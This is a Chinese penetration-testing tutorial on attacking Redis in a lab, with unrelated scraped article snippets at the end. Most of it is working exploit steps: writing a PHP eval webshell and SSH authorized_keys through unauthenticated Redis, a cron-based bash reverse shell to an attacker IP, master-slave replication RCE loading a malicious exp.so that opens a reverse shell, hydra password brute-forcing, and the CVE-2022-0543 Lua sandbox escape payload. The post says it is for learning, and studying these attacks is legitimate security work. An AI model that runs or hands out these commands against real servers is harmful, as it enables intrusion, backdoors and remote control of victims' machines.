redis安全攻防(专注渗透视角)

2023-11-12

目录


对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

介绍

前言

数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到Redis环境安装、Redis未授权访问、redis写webshell、redis 密钥登录ssh、利用计划任务反弹shell等操作,如果连Redis都不会安装操作提权等,怎么进行下一步的研究Redis数据库安全!怎么拿下对方服务器。

Redis简介

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis 是一个开源的高性能键值数据库。最热门的 NoSql 数据库之一,也被人们称为数据结构服务器。
它最突出的特点就是:

  1. 以内存作为数据存储介质,读写数据的效率极高。
  2. 跟 memcache 不同的是,储存在 Redis 中的数据是持久化的,断电或重启,数据也不会丢失。
  3. 存储分为内存存储、磁盘存储和 log 文件。
  4. 可以从磁盘重新将数据加载到内存中,也可以通过配置文件对其进行配置,因此,redis 才能实现持久化。
  5. 支持主从模式,可以配置集群,更利于支撑大型的项目。

1:Redis默认端口

Redis默认配置端口为6379,sentinel.conf配置器端口为26379

2:官方站点

https://redis.io/
http://download.redis.io/releases/
4.x安装:

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make

最新版本前期漏洞已经修复,测试时建议安装3.2.11版本。
以下实验使用3.2版本复现!!

Redis环境安装

1. redis定义

Redis是一个C语言编写的基于key-value类型的高效数据库。
Redis可以执行一些操作将数据保存到内存之中(这也是为什么效率这么高的原因)。
同时redis也可以将内存中的数据写入磁盘之中。

2. 未授权访问原因

主要是因为配置不当,导致未授权访问漏洞。
进一步将恶意数据写入内存或者磁盘之中,造成更大的危害。
配置不当一般主要是两个原理:
(1)配置登录策略导致任意机器都可以登录redis。
(2)未设置密码或者设置弱口令。

3. redis服务的搭建

首先卸载kali上已经安装的redis
apt-get remove --purge redis-server

接下来安装旧版本的redis
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

image.png

4. 修改配置文件redis.conf

编辑redis的配置文件:
注释掉:bind 127.0.0.1
protected-mode设为no,代表关闭安全设置
将此配置文件放到redis-server同级目录中
启动redis-server:./redis-server redis.conf
image.png
image.png
image.png
image.png
安装成功后,如图所示。默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。

5. 连接Redis

方式1:
image.png
方式2:
image.png

1. Redis未授权访问

Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描、控制、感染以及用来进行挖矿、勒索等恶意行为,早期网上曾经分析过一篇文章“通过redis感染linux版本勒索病毒的服务器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么应当给予重视,通过实际研究,当在一定条件下,攻击者可以获取webshell,甚至root权限。

产生条件

  1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  2. 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞危害

  1. 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  2. 攻击者可通过EVAL执行代码,或通过数据备份功能往磁盘写入后门文件;
  3. 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

漏洞发现

image.png

连接Redis服务器-linux

redis-cli -h {host} -p {port} {command}

常用命令:

查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
看所有键:KEYS *,使用select num可以查看键值数据。
设置变量:set test “who am i”
config set dir dirpath 设置路径等配置
config get dir/dbfilename 获取路径及数据配置信息
save保存
get 变量,查看变量名称

image.png

连接Redis服务器-windows

工具地址:https://gitee.com/qishibo/AnotherRedisDesktopManager
https://blog.csdn.net/qq_39715000/article/details/120724800(RedisDesktopManager的免费版)
image.png

不存在未授权情况

  1. bind 127.0.0.1 未注释,仅仅允许本地访问,攻击机kali无法连接。
  2. 设置了密码(爆破redis的密码(hydra))

2. Redis写webshell

利用条件:攻击者能够连接目标Redis,目标需要开启web服务,并且攻击者能够得知web服务路径

在发现了Redis未授权漏洞后:

切换目录到网站的根目录
config set dir /var/www/html/

写入恶意代码到内存中
set x "\n\n\n<?php phpinfo(); eval(@$_POST['cmd']); ?>\n\n\n"

在磁盘中生成木马文件
config set dbfilename shell.php

将内存之中的数据导出到磁盘文件
save

image.png
image.png
写入shell成功,靶机开启一个web服务,成功通过未授权写入webshell并连接上后门
image.png
image.png

3. Redis密钥登录ssh

kali开启ssh服务

/etc/init.d/ssh start
netstat -pantu | grep :22

image.png

设置redis密码(否则不能密钥登录)

config set requirepass lainwith
redis-cli -h 192.168.229.128 -a lainwith

image.png

生成ssh-rsa密匙:

ssh-keygen -t rsa
image.png

写入ssh密匙

导出key(\n\n是为了防止乱码)
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

将生成的公钥写入redis服务器的内存之中
cat key.txt | redis-cli -h 192.168.229.128 -a lainwith -x set ssh_key

登录redis
redis-cli -h 192.168.229.128 -a lainwith

设置路径,准备导出文件到磁盘.(本质是更改redis的备份路径)
注意:假如这个"/root/.ssh"不存在的话,这里会显示失败的,就不会返回ok了
config set dir /root/.ssh

设置文件名(不能改成其他的)并导出
config set dbfilename authorized_keys
save

image.png
来到靶场瞅一眼,写入密钥成功
image.png
image.png

SSH登录

ssh -i /root/.ssh/id_rsa root@192.168.229.128

image.png

4. 利用计划任务反弹shell

攻击者开启监听

image.png

写入反弹shell命令

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.229.128/6666 0>&1\n"
//上边的星号代表的是计划任务的时间

config set dir /var/spool/cron/
//设置导出的路径

config set dbfilename root
//设置导出文件名为“ root ”

save
//保存

或者:

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.229.128/6666 0>&1\n\n"|redis-cli -h 192.168.229.128 -x set 1

redis-cli -h 192.168.253.12 config set dir /var/spool/cron/
redis-cli -h 192.168.253.12 config set dbfilename root
redis-cli -h 192.168.253.12 save

网传的是上述的方法,但是很遗憾。
当我在kali上部署 Redis ,不能反弹shell到kali。也不能反弹shell到其他机器上。
当我在CentOS上部署Redis,反弹到kali的shell是有问题的。
检查发现参考的文章作者也碰到了这个问题:渗透测试之地基服务篇:服务攻防之数据库Redis(上)
image.png
在靶场上发现了写入的恶意文件
image.png

5. 利用主从复制RCE

未授权的redis会导致GetShell,可以说已经是众所周知的了。
而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似:

这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

简单的说,攻击者(主机)写一个so文件,然后通过FULLRESYNC(全局)同步文件到受害人(从机)上。
比起以前的利用方式来说,这种利用方式更为通用,危害也更大。

利用条件

  • 保护模式开启 protected-mode 关闭 (默认开启)。
  • redis允许外部访问。

环境搭建

我安装的Redis环境是3.2,漏洞复现失败,因此这里使用下载redis5.0来演示漏洞
CentOS(192.168.229.140)部署Redis5.0,kali(192.168.229.128)当作攻击者

wget http://download.redis.io/releases/redis-5.0.0.tar.gz
tar xzf redis-5.0.0.tar.gz
cd redis-5.0.0/
make

下载并编译完成之后,修改配置文件,就可以启动Redis了

vim redis.conf
cp redis.conf ./src/redis.conf
./redis-server redis.conf

image.png
image.png

漏洞复现:方式1

这种复现方式,演示靶机在关闭保护模式、允许远程连接的情况下,使用n0b0dyCN/redis-rogue-server攻击

关于漏洞原理请查看Pavel Toporkov的分享(opens new window)
漏洞利用脚本: n0b0dyCN/redis-rogue-server
首先看一下脚本的一些基本信息
1.jpg
获取一个交互式shell
image.png
尝试反弹shell
image.png
image.png

漏洞复现:方式2

这种复现方式,演示靶机在关闭保护模式、允许远程连接、Redis开启密码保护的情况下,如何攻击。
顺带着演示另一种工具。

使用利用脚本:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
此处设置一下Redis的连接密码,以便捎带着演示一下Redis爆破

hydra -P ./pass.txt redis://192.168.229.140:6379 -f

2.jpg
image.png
现在开始漏洞复现,首先看一下脚本基本信息
image.png
交互式shell如下:
image.png
反弹shell如下:
image.png

6. 本地Redis主从复制RCE反弹shell

靶场环境承接的是第5章的:演示靶机关闭保护模式、允许远程连接、Redis开启密码保护

介绍

在“利用主从复制RCE”中,目标机器的redis可以被远程其他的机器登录。然后执行脚本内写死的一些命令,利用这些命令我们就可以执行系统命令。问题来了,假如目标机器仅仅允许本地进行登录的时候,上述利用就直接暴毙。这个时候,我们可以通过配合其他漏洞,从目标本地登录redis。然后手动执行脚本内写死的一些命令(这些命令的意思是将本机[靶机]redis作为从机,将攻击机器设置为主机,然后攻击机器会自动将一些恶意so文件同步给目标机器(从机)),从而来实现对目标机器的远程命令执行。

攻击者准备

这里需要同时用到上面第5章节中提到的两款工具:

将redis-rogue-server的exp.so文件复制到Awsome文件夹中使用,因为exp.sosystem模块!

  1. 在kali上开启redis服务器作为主服务器(开启15000端口),指定so文件为exp.so。
python3 redis_rogue_server.py -v -path exp.so

image.png

  1. kali开启端口监听

Redis主从同步

受害者设置攻击者的地址为主服务器

# 密码登录服务器(以安全的方式)
auth foobared

# 查看是否存在模块(发现目前没有可用模块!)
module list

# 一般tmp目录都有写权限,所以选择这个目录写入
config set dir /tmp

# 设置导出文件的名字
config set dbfilename exp.so

# 设置主机为kali
slaveof 192.168.229.128 15000   

image.png可看到主服务器上FULLRESYNC全局同步数据中!将恶意的exp.so同步到redis服务器上!
image.png
按时间对tmp目录下的文件进行排序,发现了exp.so
image.png

受害者执行恶意模块

# 加载写入的恶意so文件模块
module load ./exp.so	

# 查看恶意so有没有加载成功,主要是有没有“system”
module list

# 取消设置主机(可做可不做)
slaveof NO ONE  

# 反弹shell
system.rev 192.168.229.128 4444

image.png
image.png

靶场演练

redis 未授权访问(CNVD-2015-07557)

漏洞介绍

漏洞信息:https://www.cnvd.org.cn/flaw/show/CNVD-2015-07557

Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

在线靶场不能正常使用,这里使用vulfocus离线环境:https://github.com/fofapro/vulfocus/tree/master/images
kali部署环境,作为受害者;parrot作为攻击者。

docker pull vulfocus/redis-cnvd_2015_07557
docker run -p 6379:6379 -d vulfocus/redis-cnvd_2015_07557

漏洞发现

nuclei发现Redis未授权漏洞,Nmap探测到Redis版本是4.0.14

nmap 192.168.229.128 -p 6379 --script redis-info

image.png
image.png

漏洞利用

image.png

redis 未授权访问 (CNVD-2019-21763)

Redis存在未授权访问漏洞。攻击者可利用该漏洞执行任意代码,获取目标服务器权限。
更多信息参考:https://www.cnvd.org.cn/flaw/show/CNVD-2019-21763

在线靶场起不来,离线靶场下不了,此漏洞的利用情况同“CNVD-2015-07557”,不再演示。
image.png

Redis Lua 沙箱绕过 远程命令执行 CVE-2022-0543

漏洞介绍

Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
更多介绍:https://nox.qianxin.com/vulnerability/detail/QVD-2022-1456

靶场搭建

vulfocus在线靶场无法使用,镜像地址未提供:https://github.com/fofapro/vulfocus/tree/master/images

下载vulhub同步地址:https://gitee.com/hundan-90/vulhub?_from=gitee_search

cd vulhub/redis/CVE-2022-0543/
docker-compose build	# 编译
docker-compose up -d	# 运行

image.png

漏洞发现

image.png

漏洞利用

我们借助Lua沙箱中遗留的变量packageloadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在这个Vulhub环境(Ubuntu fiocal)中,这个路径是:/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
连接redis,使用eval命令执行上述脚本:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

image.png

参考

渗透测试之地基服务篇:服务攻防之数据库Redis(上)
渗透测试之地基服务篇:服务攻防之数据库Redis(下)
跟着斗哥学Python安全开发之redis未授权访问
Redis 小于5.0.5 主从复制远程命令执行漏洞

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

redis安全攻防(专注渗透视角) 的相关文章

  • Scala 使用的 Redis 客户端库建议

    我正在计划使用 Scala 中的 Redis 实例进行一些工作 并正在寻找有关使用哪些客户端库的建议 理想情况下 如果存在一个好的库 我希望有一个为 Scala 而不是 Java 设计的库 但如果现在这是更好的方法 那么仅使用 Java 客
  • 创建 C++ Redis 模块 - “不导出 RedisModule_OnLoad() 符号”

    我在加载 Redis 模块时遇到一些问题 我只是复制来自的示例https redis io topics modules intro https redis io topics modules intro 但我把它剥下来了 include
  • Redis 队列工作程序在 utcparse 中崩溃

    我正在尝试按照以下教程获得基本的 rq 工作 https blog miguelgrinberg com post the flask mega tutorial part xxii background jobs https blog m
  • 节点应用程序之间共享会话?

    我目前有两个独立的节点应用程序在两个不同的端口上运行 但共享相同的后端数据存储 我需要在两个应用程序之间共享用户会话 以便当用户通过一个应用程序登录时 他们的会话可用 并且他们似乎已登录到另一个应用程序 在本例中 它是一个面向公众的网站和一
  • Spring Data Redis 覆盖默认序列化器

    我正在尝试创建一个RedisTemplatebean 将具有更新的值序列化器来序列化对象JSONredis 中的格式 Configuration class RedisConfig Bean name redisTemplate Prima
  • 超出 Redis 连接/缓冲区大小限制

    在对我们的应用程序服务器进行压力测试时 我们从 Redis 中得到以下异常 ServiceStack Redis RedisException 无法连接到 redis host 6379 处的 redis 实例 gt System Net
  • 使用环境变量在 redis.conf 中设置动态路径

    我有一个环境变量MY HOME其中有一个目录的路径 home abc 现在 我有一个redis conf文件 我需要像这样设置这个路径 redis conf pidfile MY HOME local var pids redis pid
  • 为什么单个 Redis 实例不是线程安全的?

    https github com xetorthio jedis wiki Getting started https github com xetorthio jedis wiki Getting started 在多线程环境中使用Jed
  • Redis 在键过期时更新排序集

    我有一个 Redis 服务器 其中包含一组键值对和一个排序集 提供这些键值对的键的索引 键值对可以进入 已完成 状态 此时需要在 1 小时后删除它们 这可以通过在键上设置到期时间来简单地实现 但从排序集中清除它们似乎更成问题 我可以有一个过
  • 没有适用于机器人的 Laravel 会话

    我在大型 Laravel 项目和 Redis 存储方面遇到问题 我们将会话存储在 Redis 中 我们已经有 28GB 的 RAM 然而 它的运行速度仍然相对较快 达到了极限 因为我们有来自搜索引擎机器人的大量点击 每天超过 250 000
  • Web API 缓存 - 如何使用分布式缓存实现失效

    我有一个 API 目前不使用任何缓存 我确实有一个正在使用的中间件 它可以生成缓存标头 Cache Control Expires ETag Last Modified 使用https github com KevinDockx HttpC
  • ServiceStack PooledRedisClientManager 故障转移如何工作?

    根据 git commit 消息 ServiceStack 最近添加了故障转移支持 我最初认为这意味着我可以关闭我的一个 Redis 实例 并且我的池客户端管理器将优雅地处理故障转移并尝试与我的备用 Redis 实例之一连接 不幸的是 我的
  • memcache、redis 和 ehcache 作为分布式缓存框架的比较 [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我需要做出的决定之一是在我的系统中使用什么缓存框架 有这么多可供选择 我目前正在研究 redis ehcache 和 memcached
  • 如何高效地将数十亿数据插入Redis?

    我有大约 20 亿个键值对 我想将它们有效地加载到 Redis 中 我目前正在使用 Python 并使用 Pipe 如redis py https redis py readthedocs io en latest redis Redis
  • 为什么Redis SET性能优于GET?

    根据Redis基准 http redis io topics benchmarkss Redis 可以执行 100 000 SET 操作 秒和 80 000 GET 操作 秒 Redis 是一种内存数据库 这似乎令人惊讶 因为通常人们会认为
  • Redis如何存储关联数组?设置、散列还是列表?

    我对 Redis 的所有可用存储选项有点困惑 我想做一些简单的事情 并且不想过度设计它 我正在与phpredis and Redis v2 8 6 我有一个需要存储的简单关联数组 我还需要能够通过其键检索项目并循环遍历所有项目 a arra
  • 使用 Gorilla 会话自定义后端有什么优势?

    我想使用 Redis 进行会话管理 但我不明白使用 Redis 作为 Gorilla 会话包的自定义后端比直接使用它有什么优势 Gorilla 会话包的链接 http www gorillatoolkit org pkg sessions
  • 如何让 Redis 在 Heroku 上启动?

    我已经添加了RedistogoHeroku 上的 nano 插件 我已经在控制台中成功测试了它 但是 当我的应用程序尝试连接 Redis 时 出现以下错误 Heroku 日志文件 2011 10 12T08 19 50 00 00 app
  • 获取redis主哨兵

    我正在尝试获取当前正在监视 redis master 的所有哨兵的列表 我知道如果我有一个哨兵我可以使用sentinel sentinels mymaster但如果我没有 Sentinel 的任何地址 我怎样才能获得它们 没有直接命令可以从
  • 如何将redis中的数据保存到磁盘中的文件并读回redis?

    我可以在程序中写入 Redis 并从中读取 但是 关闭服务器后 我猜数据已从内存中删除 如何将redis中的数据保存到磁盘中 以便下次打开redis时 它可以打开数据 让控制台程序读取它吗 如果我的电脑突然断电重启 redis可以恢复状态吗

随机推荐

  • python遍历目录的方法

    简单暴力法 递归 假设在 E 盘中 有个名为 Python 的文件夹 该文件夹中也有两个文件夹 分别是 A 和 B 另外 在 A 文件夹中还有一个 results txt 的文本文件 因此 Python 文件夹的文件结构如下 Python
  • 【满分】【华为OD机试真题2023 JAVA&JS】寻找链表的中间结点

    华为OD机试真题 2023年度机试题库全覆盖 刷题指南点这里 寻找链表的中间结点 知识点链表数组 时间限制 1s 空间限制 256MB 限定语言 不限 题目描述 给定一个单链表 L 请编写程序输出 L 中间结点保存的数据 如果有两个中间结点
  • 1055: 兔子繁殖问题(Fibonacci数列)

    1055 兔子繁殖问题 题目描述 这是一个有趣的古典数学问题 著名意大利数学家Fibonacci曾提出一个问题 有一对小兔子 从出生后第3个月起每个月都生一对兔子 小兔子长到第3个月后每个月又生一对兔子 按此规律 假设没有兔子死亡 第一个月
  • MybatisPlus学习 条件构造器Wrapper方法详解

    目录 1 条件构造器 2 AbstractWrapper 2 1 eq allEq ne 2 2 gt ge lt le 2 3 between notBetween 2 4 like notLike likeLeft likeRight
  • 期货市场之反转形态分析

    三 反转形态分析 反转形态表示价格趋势将与此前趋势的原方向相反 通常 反转形态的形成要有三个因素 即要有主要趋势的存在 成交量要与价格变动相配合和重要趋势线的突破 1 头肩形 头肩形是可靠性较高的反转形态 通常分头肩顶 图左 和头肩底 图右
  • C#中的对话框

    常用对话框有 1 文件对话框 FileDialog 它又常用到两个 打开文件对话框 OpenFileDialog 保存文件对话 SaveFileDialog 2 字体对话框 FontDialog 3 颜色对话框 ColorDialog 4
  • ABB工件坐标系计算实现原理与代码

    三大重要数据 ABB机器人的三大重要数据分别是工件数据 wobjdata 工具数据 tooldata 和负载数据 loaddata 下面介绍如何利用空间上的任意三点 不在同一直线上 来自定义工件数据 wobjdata
  • 有适合宝妈在家做的兼职推荐吗?5个适合在家做的副业兼职!

    下面就推荐5个适合宝妈在家也可以做的副业兼职 每月挣点生活费零花钱的还是没有问题的 1 做自媒体赚钱 自媒体对于普通人来说 无疑是一个门槛低 收入也非常可观的副业选择 自媒体包括写文章和拍摄视频 只要有阅读和观看量就有收益 自媒体发布平台有
  • matlab学习-第二章-向量和矩阵

    向量和矩阵感觉还是很重要的部分 概念必须清楚 向量 向量定义使用的是方括号 换行用分号 向量和常数的乘法可以直接用 号 向量的转置使用单引号 向量的加减运算也是可以直接写的 但是要求两个向量的长度 维数一致 如果想要计算向量的元素的平方 需
  • 基于微信小程序的社区垃圾回收管理系统小程序

    文末联系获取源码 开发语言 Java 框架 ssm JDK版本 JDK1 8 服务器 tomcat7 数据库 mysql 5 7 8 0 数据库工具 Navicat11 开发软件 eclipse myeclipse idea Maven包
  • ps作业素材和成品_【第二十一节】新手小白用PS把普通图片转换成彩铅

    各位小主们 这节课程就是把以前的课程知识融合在一起得到的效果图 图片为网络随机下载 对比图 素材 1 打开PS 打开素材 把图层1复制一个图 快捷键 Ctrl J 得到图层1副本 2 选择图层1副本 图像 调整 去色 快捷键 Ctr
  • 一、使用AD18设计PCB时的规格参考

    AD18设计PCB的规则参考 1 设计线距 X gt 6mil 2 设置线宽 信号线默认设成6mil 50mil gt x gt 6mil 根据加工厂的工艺来选择 3 电源线宽 根据要流过的电流大小来设置60mil gt x gt 15mi
  • 【IDEA】设置自定义类注释,自定义方法注释

    IDEA自定注释 文章目录 前言 一 类注释 1 打开设置 2 修改模板引用 3 修改头文件模板 二 方法注释 1 打开设置 2 创建模板组Template Group 3 完成配置 三 结果展示 1 类注释 创建时触发 2 自定义方法注释
  • PLSQL官方下载、安装和使用完全指南

    1 PLSQL介绍 我们常说的plsql指的是plsqldeveloper 这个oracle数据库客户端连接工具 这个工具以其方便和强大被广大开发者喜爱 这个工具是由allroundautomations公司开发 他的官网是https ww
  • MATLAB中m文件的新建和使用

    MATLAB的m文件 目录 MATLAB的m文件 1 m文件 2 m文件的新建和打开 1 建立matlab的 m文件的3种方式 2 打开MATLAB的 m文件的3种方式 3 m文件的使用 1 命令文件的使用 2 函数文件的使用 1 m文件
  • Docker-镜像复制与重载

    文章目录 1 使用背景 2 保存镜像为文件 3 从文件载入镜像 1 使用背景 我们制作好镜像后 有时需要将镜像复制到另一台服务器使用 能达到以上目的有两种方式 一种是上传镜像到仓库中 本地或公共仓库 但是另一台服务器很肯能只是与当前服务器局
  • 【生成模型】DDPM概率扩散模型(原理+代码)

    前言 一 常见生成模型 二 直观理解Diffusion model 三 形式化解析Diffusion model 四 详解 Diffusion Model 数学推导 1 前向过程 扩散过程 2 逆扩散过程 3 逆扩散条件概率推导 4 训练损
  • QT(C++)-未找到“XXX.h”头文件的解决方式

    新建项目之后 不能在项目的头文件上立马调用include xxx h 你必须点击左上角文件 新建一个你想引用的头文件 这样你就能引用了 不会报错 你想要引用的头文件必须得在你的工作目录下 错误提示如下 解决方式如下图 以下是我的工程工作路径
  • git push 报错: error: failed to push some refs to ‘ssh://git.prmt.net:10007/root/palmhall.git‘

    git push 报错error failed to push some refs to ssh git prmt net 10007 root palmhall git 原因 这是因为当前账号没有权限 联系管理员给你开放权限就行了
  • redis安全攻防(专注渗透视角)

    目录 介绍 前言 Redis简介 1 Redis默认端口 2 官方站点 Redis环境安装 1 redis定义 2 未授权访问原因 3 redis服务的搭建 4 修改配置文件redis conf 5 连接Redis 1 Redis未授权访问